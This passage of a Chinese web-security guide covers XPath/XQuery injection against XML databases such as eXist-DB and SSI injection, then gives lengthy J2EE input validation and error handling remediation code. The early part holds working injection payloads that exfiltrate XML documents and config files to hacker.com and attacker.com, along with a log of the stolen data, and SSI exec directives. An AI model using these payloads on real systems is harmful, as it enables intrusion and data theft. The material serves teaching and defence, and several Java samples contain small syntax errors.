http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0Alet%20%24x%20%3A%3D%20/%2A%5B%27
上面的方法会重复的对攻击者的服务器发送请求,整个XML文档可以通过分析攻击者的服务器访问日志进行获取。
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
通过分析拼接的XML为:
<posts>
<postauthor="admin">
<title>Test</title>
<content>My firstblog post!</content>
</post>
<postauthor="admin">
<title>My blog isnow live!</title>
<content>Welcometo my blog! Please stay away hackers</content>
</post>
</posts>
Exist-DB
Exist-DB是一个本地XML数据库,允许应用程序使用不同的技术(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存储、查询和更新XML数据。区别于其他传统的数据库(定义自己的查询协议),Exist-DB使用基于HTTP的接口进行查询,如REST, XML-RPC, WebDAV 和SOAP。
执行一个GET请求,返回一个XML的节点。
还是之前用户博客的查询,假设现在使用的是Exist-DB,HTTP查询请求如下
http://www.vulnhost.com/viewposts?username=admin
后台XPath表达式
doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*
上面查询//posts[@author=’admin’]会返回所有admin的文章,Exist-DB是一个成熟的数据库并且在很好的支持XPath,如果username变量没有进行净化,攻击者可以获取根节点的内容:
http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1
这条语句会携带根节点发名字请求攻击者的服务器
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
or '1'= '1']")))/*[1]
攻击者可以使用上面的技术获得受害服务器的配置信息。
EXist-DB有一个可扩展的模块,它允许程序员用Java编写的模块创建新的XPath/XQuery函数。通过让邮件模块或其他SMTP服务器,I/O文件系统发送电子邮件。以及支持多种HTTP方法,利用LDAP客户端模块,或在在OracleRDBMS执行Oracle的PL/ SQL存储过程等等。这些模块功能强大,但通常这些模块在默认情况下是禁用的。
HTTP模块很有趣,因为它是两个非常强大的,默认情况下启用。攻击者可以简单地使用它来发送序列化根节点(整个文档)到攻击者的服务器,从而在一次操作中获取整个数据库。
http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1
在服务器后台的查询如下
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]
可以通过DOC功能使HTTP客户端发送任意的本地XML文件到攻击者的服务器
Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())
威胁影响:可能会访问存储在敏感数据资源中的信息
产生原因:可能会访问存储在敏感数据资源中的信息
缓解修复:
净化用户输入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()这些函数需要特别注意
使用参数化的查询,如Java的Xpath表达式
/root/element[@id=$ID]
限制doc()功能
0x08 SSI 注入
技术描述:
当符合下列条件时,攻击者可以在 Web 服务器上运行任意命令:
A. Web 服务器已支持 SSI(服务器端包含)。
B. Web 应用程序在返回 HTML 页面时,嵌入用户输入。
C. 参数值未进行输入清理。
例如,如果脚本接收文本输入,供 Web 服务器稍后处理,下列由 SSI 命令组成的输入便会侵害服务器的安全:
<!--#include file=""...""-->(会显示给定的文件)
<!--#exec cmd=""...""-->(会执行给定的 shell 命令)
请注意,AppScan 会测试是否包含特定文件。虽然这项测试不一定成功包含文件,但可能产生 SSI 错误。因此,虽然测试未成功,但由于该攻击已在 SSI 环境中经过评估,因此该错误仍会显示可能已顺利包含其他文件,或已执行其他命令。
威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容
产生原因:未对用户输入正确执行危险字符清理
缓解修复:
[1] 清理用户输入 - 禁止可能支持 SSI 的模式/字符。
[2] 由于 SSI 会带来许多安全风险,建议您不在 Web 站点中使用 SSI。
Asp.Net
您可以使用验证控件,将输入验证添加到“Web 表单”页面。验证控件提供适用于标准验证的所有常见类型的易用机制;例如,测试验证日期是否有效,或验证值是否在范围内。此外,还有一些方法可以提供定制编写验证,验证控件也可让您完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。
要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:
[1] "RangeValidator":检查用户的输入值是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。
[2] “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。
重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。
有两种方法可检查用户输入的有效性:
1. 测试常规错误状态:
在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。
2. 测试个别控件的错误状态:
在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。
J2EE
** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。 客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。
如何验证必需字段的示例:
// Java example to validate required fields
public Class Validator {
...
public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim().length() > 0) {
isFieldValid = true;
}
return isFieldValid;
}
...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。
验证数字字段(int 类型)的方式的示例:
// Java example to validate that a field is an int number
public Class Validator {
...
public static boolean validateInt(String value) {
boolean isFieldValid = false;
try {
Integer.parseInt(value);
isFieldValid = true;
} catch (Exception e) {
isFieldValid = false;
}
return isFieldValid;
}
...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger(fieldValue);
// store integerValue in a request attribute
request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
应用程序应处理的主要 Java 数据类型(如上所述):
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date
[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:
// Example to validate the field length
public Class Validator {
...
public static boolean validateLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedValue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);
}
...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
if (Validator.validateLength(userName, 8, 20)) {
// userName is valid, continue further processing
...
}
}
[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:
// Example to validate the field range
public Class Validator {
...
public static boolean validateRange(int value, int min, int max) {
return (value >= min && value <= max);
}
...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
if (Validator.validateInt(fieldValue)) {
int numberOfChoices = Integer.parseInt(fieldValue);
if (Validator.validateRange(numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request
...
}
}
}
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:
// Example to validate user selection against a list of options
public Class Validator {
...
public static boolean validateOption(Object[] options, Object value) {
boolean isValidValue = false;
try {
List list = Arrays.asList(options);
if (list != null) {
isValidValue = list.contains(value);
}
} catch (Exception e) {
}
return isValidValue;
}
...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
// valid user selection, continue processing request
...
}
[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$
Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。
执行正则表达式验证的示例:
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
RE r = new RE(expression);
match = r.match(value);
}
return match;
}
...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
// userName is valid, continue processing request
...
}
Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
match = Pattern.matches(expression, value);
}
return match;
}
...
}
[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
验证必需 cookie 值的示例:
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i=0; i<cookies.length; ++i) {
if (cookies[i].getName().equals("user")) {
// validate the cookie value
if (Validator.validateRequired(cookies[i].getValue()) {
// valid cookie value, continue processing request
...
}
}
}
}
[8] HTTP 响应
[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
...
public static String filter(String value) {
if (value == null) {
return null;
}
StringBuffer result = new StringBuffer(value.length());
for (int i=0; i<value.length(); ++i) {
switch (value.charAt(i)) {
case '<':
result.append("<");
break;
case '>':
result.append(">");
break;
case '"':
result.append(""");
break;
case '\'':
result.append("'");
break;
case '%':
result.append("%");
break;
case ';':
result.append(";");
break;
case '(':
result.append("(");
break;
case ')':
result.append(")");
break;
case '&':
result.append("&");
break;
case '+':
result.append("+");
break;
default:
result.append(value.charAt(i));
break;
}
return result;
}
...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。
以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
...
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
PrintWriter out = response.getWriter();
ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
chain.doFilter(request, wrapper);
CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter(wrapper.toString()));
response.setContentType("text/html");
response.setContentLength(caw.toString().length());
out.write(caw.toString());
out.close();
}
...
public class CharResponseWrapper extends HttpServletResponseWrapper {
private CharArrayWriter output;
public String toString() {
return output.toString();
}
public CharResponseWrapper(HttpServletResponse response){
super(response);
output = new CharArrayWriter();
}
public PrintWriter getWriter(){
return new PrintWriter(output);
}
}
}
}
[8-2] 保护 cookie
在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。
保护“用户”cookie 的示例:
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。
Struts 定义以下基本输入验证器,但也可定义定制的验证器:
required:如果字段包含空格以外的任何字符,便告成功。
mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。
range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。
maxLength:如果字段长度小于或等于 max 属性,便告成功。
minLength:如果字段长度大于或等于 min 属性,便告成功。
byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。
date:如果值代表有效日期,便告成功。可能会提供日期模式。
creditCard:如果值可以是有效的信用卡号码,便告成功。
e-mail:如果值可以是有效的电子邮件地址,便告成功。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:
validate_doublerange:在组件上注册 DoubleRangeValidator。
validate_length:在组件上注册 LengthValidator。
validate_longrange:在组件上注册 LongRangeValidator。
validate_required:在组件上注册 RequiredValidator。
validate_stringrange:在组件上注册 StringRangeValidator。
validator:在组件上注册定制的 Validator。
JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):
input_date:接受以 java.text.Date 实例格式化的 java.util.Date。
output_date:显示以 java.text.Date 实例格式化的 java.util.Date。
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
input_text:接受单行文本字符串。
output_text:显示单行文本字符串。
input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。
input_hidden:允许页面作者在页面中包括隐藏变量。
input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。
input_textarea:接受多行文本。
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
output_label:将嵌套的组件显示为指定输入字段的标签。
output_message:显示本地化消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/** 错误处理:
许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。
数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:
[1] 定义错误
[2] 报告错误
[3] 呈现错误
[4] 错误映射
[1] 定义错误
应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:
(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;
(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;
(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;
(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;
好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:
- ErrorKeys:定义所有错误密钥
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
...
}
- Error:封装个别错误
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
// Constructor given a specified error key
public Error(String key) {
this(key, null);
}
// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
this.key = key;
this.values = values;
}
// Returns the error key
public String getKey() {
return this.key;
}
// Returns the placeholder values
public Object[] getValues() {
return this.values;
}
private String key = null;
private Object[] values = null;
}
- Errors:封装错误的集合
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
// Adds an Error object to the Collection of errors for the specified bean property.
public void addError(String property, Error error) {
ArrayList propertyErrors = (ArrayList)errors.get(property);
if (propertyErrors == null) {
propertyErrors = new ArrayList();
errors.put(property, propertyErrors);
}
propertyErrors.put(error);
}
// Returns true if there are any errors
public boolean hasErrors() {
return (errors.size > 0);
}
// Returns the Errors for the specified property
public ArrayList getErrors(String property) {
return (ArrayList)errors.get(property);
}
private HashMap errors = new HashMap();
}
以下是使用上述框架类来处理“user_name”字段验证错误的示例:
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
// (c) Duplicate check validation rule
// We assume that there is an existing UserValidationEJB session bean that implements
// a checkIfDuplicate() method to verify if the user already exists in the database.
try {
...
if (UserValidationEJB.checkIfDuplicate(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
}
} catch (RemoteException e) {
// log the error
logger.error("Could not validate user for specified userName: " + userName);
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
}
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
[2] 报告错误
有两种方法可报告 web 层应用程序错误:
(a) Servlet 错误机制
(b) JSP 错误机制
[2-a] Servlet 错误机制
Servlet 可通过以下方式报告错误:
- 转发给输入 JSP(已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError,或
- 抛出异常
好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
rd.forward(request, response);
}
如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
// messages is a resource bundle with all message keys and values
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类: - RuntimeException - ServletException - IOException
[2-b] JSP 错误机制
JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:
<%@ page errorPage="/errors/userValidation.jsp" %>
未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:
<%@ page isErrorPage="true" %>
isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。
[3] 呈现错误
J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:
(a) 资源束
(b) 消息格式化
[3-a] 资源束
资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。
java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required
# invalid user name format
error.username.alphanumeric=User name must be alphanumeric
# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one
...
可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。
[3-b] 消息格式化
J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
// Returns the error message for the specified error key in the environment locale
public String getErrorMessage(String errorKey) {
return getErrorMessage(errorKey, defaultLocale);
}
// Returns the error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Locale locale) {
return getErrorMessage(errorKey, null, locale);
}
// Returns a formatted error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
// Get localized ErrorMessageResource
ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
// Get localized error message
String errorMessage = errorMessageResource.getString(errorKey);
if (args != null) {
// Format the message using the specified placeholders args
return MessageFormat.format(errorMessage, args);
} else {
return errorMessage;
}
}
// default environment locale
private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
// iterate through errors and output error messages corresponding to the "user_name" property
ArrayList userNameErrors = errors.getErrors("user_name");
ListIterator iterator = userNameErrors.iterator();
while (iterator.hasNext()) {
// Get the next error object
Error error = (Error)iterator.next();
String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
